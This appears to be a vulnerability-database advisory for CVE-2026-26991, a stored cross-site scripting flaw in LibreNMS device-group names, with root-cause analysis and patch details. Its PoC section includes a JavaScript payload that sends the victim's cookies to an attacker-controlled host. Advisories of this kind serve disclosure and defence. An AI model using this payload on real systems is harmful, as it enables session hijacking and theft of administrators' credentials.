5.1

CVSS Score

4.0

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2026-26991

CVE-2026-26991: LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

/device-groups name Stored Cross-Site Scripting

HTTP POST
Request-URI(s): "/device-groups"
Vulnerable parameter(s): "name"
Attacker must be authenticated with "admin" privileges.
When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details

The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php:

@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC

Login
Select Devices > Manage Groups
Select New Device Group
Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
'.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
Select "access_points.accesspoint_id" as the Conditional input
Input 1 into the Conditional value input box

Miggo Vulnerability Database

→

CVE-2026-26991

CVE-2026-26991:

5.1

CVSS Score

4.0

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
librenms/librenms	composer	< 26.2.0	26.2.0

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a stored Cross-Site Scripting (XSS) issue in the device group management page of LibreNMS. The root cause is the improper handling of the device group name when constructing the delete confirmation dialog.

An attacker with administrative privileges can create a device group with a name containing a malicious JavaScript payload. When the device groups page is rendered, this name is inserted directly into an onclick attribute for a button, within a call to the delete_dg JavaScript function. The patch 64b31da444369213eb4559ec1c304ebfaa0ba12c addresses this by moving the device group name from the onclick attribute to a data-group-name attribute. The delete_dg function is then modified to safely retrieve the name from this data attribute using button.dataset.groupName. This prevents the browser from interpreting the malicious name as executable code.

The vulnerable function is the inline JavaScript function delete_dg as it is the sink for the unsanitized input $device_group->name which is rendered in the resources/views/device-group/index.blade.php file.

Vulnerable functions

delete_dg

resources/views/device-group/index.blade.php

The vulnerability lies in the `index.blade.php` file where the `delete_dg` JavaScript function is called. The `$device_group->name` variable, which is user-controllable, is directly embedded into the `onclick` attribute without proper sanitization. This allows an attacker to inject arbitrary JavaScript code, which will be executed when the delete button is rendered on the page, leading to a stored cross-site scripting (XSS) vulnerability.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

5.1

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2026-26991: LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

Details

PoC

CVE-2026-26991:

5.1

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Detect and Respond To Threats Faster.

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

Vulnerable functions

Technical Details

Basic Information

Basic Information

5.1

5.1

CVE-2026-26991: LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

Details

PoC

Impact

5.1

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2026-26991: LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

Details

PoC

CVE-2026-26991:

5.1

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Technical Details

Basic Information

Basic Information

5.1

5.1

CVE-2026-26991: LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

Details

PoC

Impact

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI